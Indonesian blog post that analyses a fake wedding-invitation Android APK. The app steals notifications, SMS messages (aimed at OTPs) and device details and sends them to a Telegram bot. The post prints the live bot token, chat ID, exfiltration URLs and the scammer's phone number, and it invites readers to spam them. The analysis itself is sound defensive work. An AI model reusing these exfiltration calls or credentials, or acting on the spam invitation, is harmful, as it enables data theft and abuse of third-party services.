Membongkar dan Menganalisis APK Penipuan Undangan Pernikahan

Pernah mendapat kiriman APK dari Whatsapp dengan nama undangan pernikahan? cek paket? Jangan sembarangan menginstal APK kiriman dari orang lain. Selalu cek dan recheck kembali. Disini saya akan mencoba membongkar aplikasi penipuan berkedok undangan pernikahan.

Reverse Engineering

APK (Android Package Kit) adalah format aplikasi untuk android. Sama saja seperti .exe pada Windows dan .dmg pada MacOS. Aplikasi seperti ini telah melalui proses yang dinamakan dengan compile, dimana baris - baris kode diterjemahkan menjadi bahasa mesin (biner) agar dapat dimengerti oleh perangkat komputer. Setelah melalui proses ini, kode aplikasi tidak dapat lagi dibaca dengan bahasa manusia. Namun, ada cara jika ingin mengetahui kode dibalik aplikasi yang sudah di-compile yaitu dengan reverse engineering.

Menginstall aplikasi di Emulator

Saya mendapatkan aplikasi undangan pernikahan ini dari grup Whatsapp. Sudah lama saya ingin sekali melakukan reverse engineering terhadap aplikasi semacam ini. Tapi sebelum membongkar, saya coba install aplikasinya dulu di emulator. Tetapi setelah diinstal, aplikasi tersebut tidak muncul dimenu.

Setelah saya cek di pengaturan, ternyata aplikasi tersebut tidak memiliki nama.

Mulai membongkar

Oke, langsung saja. Disini saya sudah membongkar aplikasi menggunakan tools dex2jardanjd-gui. Setelah memilah - milah file, saya mengumpulkan file dibawah ini.

AndroidManifest.xml

File Android Manifest sendiri berisi informasi mengenai aplikasi android itu sendiri, meliputi icon, activity, intent, service, broadcast receiver, dll. Namun yang paling penting dari Android Manifest ini adalah izin aplikasi. Mari kita lihat izin aplikasi dari aplikasi penipuan ini :

Sangat disayangkan, sepertinya Android Manifest tersebut corrupt, tapi sebagian besar izin aplikasinya masih bisa dibaca. Mari kita bongkar satu per satu.

  1. WAKE_LOCK Memberikan izin aplikasi untuk menjaga prosesor agar tidak tidur atau layar tidak meredup. Selengkapnya

  2. BIND_NOTIFICATION_LISTENER_SERVICE, INTERNET, READ_SMS, FOREGROUND SERVICE, & RECEIVE_BOOT_COMPLETED

    • BIND NOTIFICATION LISTENER SERVICE : Memberikan izin aplikasi untuk mengikat service penerima notifikasi baru atau notifikasi yang dihapus. Selengkapnya
    • INTERNET : Memberikan izin aplikasi untuk mengakses internet. Selengkapnya
    • READ SMS : Memberikan izin aplikasi untuk membaca SMS. Selengkapnya
    • FOREGROUND SERVICE : Memberikan izin aplikasi untuk berjalan sebagai foreground service . Selengkapnya
    • RECEIVE BOOT COMPLETED : Memberikan izin aplikasi untuk menerima status perangkat ketika pertama kali dihidupkan. Selengkapnya
  3. ACCESS_NETWORK_STATE Memberikan izin aplikasi untuk dapat membaca informasi tentang jaringan perangkat. Selengkapnya

  4. RECEIVE_SMS Memberikan izin aplikasi untuk menerima SMS diperangkat. Selengkapnya

MainActivity.java

Selanjutnya adalah file Main Activity. Main Activity adalah aktivitas pertama yang akan dijalankan oleh Android ketika aplikasi dibuka. Kita lihat pada bagian fungsi onCreate. Fungsi onCreate akan selalu dipanggil pertama kali saat aplikasi dibuka.

Pada baris 80 - 88 aplikasi akan menampilkan webview yang mengarah ke url kosong. Selanjutnya pada baris 94 - 99 aplikasi akan meminta izin kepada user untuk menerima & mengirim SMS. Selanjutnya, aplikasi akan meminta izin membaca notifikasi perangkat.

Jika user mengizinkan, maka aplikasi akan mengirimkan sebuah pesan melalui bot api telegram berisi informasi tipe perangkat dengan pesan :

1
    https://api.telegram.org/bot6786269059:AAE5kJhf3LIHOVNWjjinjStyEzwzFQWysVk/sendMessage?parse_mode=markdown&chat_id=6648398269&text=𝐍𝐨𝐭𝐒𝐟𝐒𝐀𝐚𝐬𝐒 𝐀𝐩π₯𝐒𝐀𝐚𝐬𝐒 𝐃𝐒 𝐈𝐧𝐬𝐭𝐚π₯π₯ \n π“π²π©πž 𝐏𝐞𝐫𝐚𝐧𝐠𝐀𝐚𝐭: _

Perhatikan kode dibawah ini dibaris 109 - 112. Kemudian aplikasi akan mengirimkan request API menggunakan OKHttpClient dibaris 114.

Info

Variabel this.client pada baris 114 berisi OKHttpClient, yaitu library untuk mengirim request API.

Berikutnya, aplikasi melakukan checking pertama dengan mengirim pesan SMS β€œGacor123” ke nomor 085382537448 dibaris 127. Dan jika pesan gagal terkirim, maka aplikasi juga akan mengirimkan pesan error ke bot api telegram seperti diatas.

Info

Disini saya tidak akan melakukan sensor data sensitif penipu. Jadi silahkan saja spam nomor hpnya atau spam menggunakan bot api telegram dengan token yang sudah saya 'telanjangi' πŸ˜‚.

Checking yang kedua yaitu aplikasi mengecek apakah user sudah mengizinkan aplikasi untuk membaca notifikasi perangkat. Jika user belum mengizinkan, maka aplikasi akan mengalihkan ke halaman pengaturan izin notifikasi untuk memaksa user mengaktifkan izin tersebut. Perhatikan dibaris 149 - 151.

Jika user mengizinkan, maka aplikasi akan me-register receiver menggunakan Local Broadcast Manager dengan Intent filter β€œMsg” dan Broadcaster Receiver onNotice di baris 153. Di bawah ini merupakan variable Broadcaster Receiver onNotice.

onNotice akan menerima pesan (Intent) yang dikirimkan dari NotificationService.java (penjelasan ada dibawah) yang kemudian akan mengirim pesan kembali ke bot api telegram.

Info

Local Broadcast Manager adalah bagian dari library android yang menyediakan mekanisme untuk mengirim dan menerima pesan atau broadcast antar komponen hanya di dalam aplikasi.

Info

Broadcast Receiver adalah salah satu komponen dasar dalam aplikasi Android yang berfungsi untuk menangkap dan merespon pesan atau broadcast yang dikirimkan oleh aplikasi maupun sistem.

NotificationService.java

File ini berisi service yang di-extend dari Notification Listener Service yang berfungsi untuk memberi tahu aplikasi bahwa ada notifikasi yang muncul di perangkat. Fungsi onNotificationPosted akan dipanggil ketika ada notifikasi baru yang muncul di perangkat dan memberikan akses ke objek StatusBarNotification, yang berisi informasi tentang notifikasi tersebut.

Jika ada notifikasi muncul, seketika aplikasi penipu ini akan mencatat nama paket aplikasi yang mengirimkan notifikasi, beserta judul, isi, dan id notifikasi. Yang selanjutnya akan dikirimkan melalui Local Broadcaster Manager dengan nama Intent β€œMsg”.

Jika diurutkan, maka prosesnya akan menjadi grafik seperti dibawah ini.

Grafik pengiriman notifikasi

Lalu saya coba dengan mengirimkan panggilan palsu di emulator.

Lalu saya sniffing dengan menggunakan mitmproxy, inilah hasilnya.

  • Request

  • Response

Dan ternyata botnya masih aktif.

ReceiveSms.java

File Recive SMS ini berisi service yang di-extends dari Broadcaster Receiver. Fungsi onReceived akan dipanggil jika ada pesan atau broadcast dari aplikasi atau sistem dikirimkan. Diaplikasi ini, fungsi onReceived akan dipanggil ketika ada pesan SMS masuk. Perhatikan dibaris 24.

Jika ada SMS masuk, aplikasi akan membaca isi pesan. Kemudian aplikasi akan mengumpulkan info seputar perangkat, mulai dari BUILD ID, USER, PRODUCT, dll dibaris 37.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
stringBuilder2
	.append("ID : ")
	.append(Build.ID)
	.append("\n - User : ")
	.append(Build.USER)
	.append(str)
	.append(Build.PRODUCT)
	.append("\n - Brand : ")
	.append(Build.BRAND)
	.append("\n - Board : ")
	.append(Build.BOARD)
	.append("\n - BOOTLOADER : ")
	.append(Build.BOOTLOADER)
	.append("\n - DISPLAY : ")
	.append(Build.DISPLAY)
	.append("\n - HOST : ")
	.append(Build.HOST)
	.append("\n - DEVICE : ")
	.append(Build.DEVICE)
	.append("\n -TAGS : ")
	.append(Build.TAGS)
	.append("\n - FINGERPRINT : ")
	.append(Build.FINGERPRINT)
	.append("\n - TYPE : ")
	.append(Build.TYPE)
	.append(str)
	.append(Build.TIME)
	.append("\n - ")
	.toString();

Setelah mengirimkan informasi, aplikasi akan mengirimkan no pengirim SMS, isi SMS dan info perangkat yang sudah dikumpulkan tadi.

1
https://api.telegram.org/bot6786269059:AAE5kJhf3LIHOVNWjjinjStyEzwzFQWysVk/sendMessage?parse_mode=markdown&chat_id=6648398269&text=𝐍𝐞𝐰 π’πŒπ’ π‘πžπœπžπ’π―πžπ %0A %0Aπ’πžπ§ππžπ« : _").append(str1).append("_,%0A𝐌𝐞𝐬𝐬𝐚𝐠𝐞 : _\n\n").append(str2).append("%0A %0Aπ“π²π©πž 𝐏𝐞𝐫𝐚𝐧𝐠𝐀𝐚𝐭 : "
  • Request

  • Response

  • Full Response Body

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    
    {
      "ok": true,
      "result": {
        "message_id": 25542,
        "from": {
          "id": 6786269059,
          "is_bot": true,
          "first_name": "Pencari ikan gabuss",
          "username": "Kskskskkskskkdkskd_bot"
        },
        "chat": {
          "id": 6648398269,
          "first_name": "Anak",
          "last_name": "Muda",
          "type": "private"
        },
        "date": 1701826905,
        "text": "𝐍𝐞𝐰 π’πŒπ’ π‘πžπœπžπ’π―πžπ \n \nπ’πžπ§ππžπ« : 6505551212,\n𝐌𝐞𝐬𝐬𝐚𝐠𝐞 : Hello!\n \nπ“π²π©πž 𝐏𝐞𝐫𝐚𝐧𝐠𝐀𝐚𝐭 : unknown Android SDK built for x86",
        "entities": [
          {
            "offset": 49,
            "length": 10,
            "type": "italic"
          },
          {
            "offset": 78,
            "length": 72,
            "type": "italic"
          }
        ]
      }
    }
    

SendSMS.java

File ini berisi sama dengan ReceiveSms.java yaitu service yang di-extend dari Broadcast Receiver. Meski sama - sama memiliki trigger saat ada SMS masuk, tetapi file ini berfungsi untuk mengirim pesan SMS ke nomor tertentu seperti dibaris 55. Dan jika SMS tersebut berhasil terkirim, maka akan mengirimkan pesan ke bot API telegram di baris 65.

Kesimpulan

Setelah membongkar dan menganalisis aplikasi penipuan ini, kita dapat menyimpulkan bahwa aplikasi semacam ini akan mencuri data - data sensitif mulai dari rincian perangkat, notifikasi (apapun tidak terkecuali, termasuk juga notifikasi chat pribadi whatsapp), dan pesan SMS (Si penipu mengincar OTP bank atau aplikasi penting lainnya). Nggak kebayang kan kalo chat bucinan kita sama doi dibaca diam - diam oleh orang lain? 😱 😱 😱.

Oleh karena itu, beberapa hal yang dapat saya rekomendasikan untuk menghindari hal semacam ini adalah :

  1. Jangan sembarangan menginstal aplikasi dari pihak yang tidak dipercaya.
  2. Nonaktifkan izin β€œinstal aplikasi tidak dikenal” untuk whatsapp.
  3. Selalu cek daftar aplikasi yang terinstal. Jika ada aplikasi yang mencurigakan, langsung uninstall saja.

Bonus

Spam dikit boleh kali yaaaa 🀣 🀣 🀣.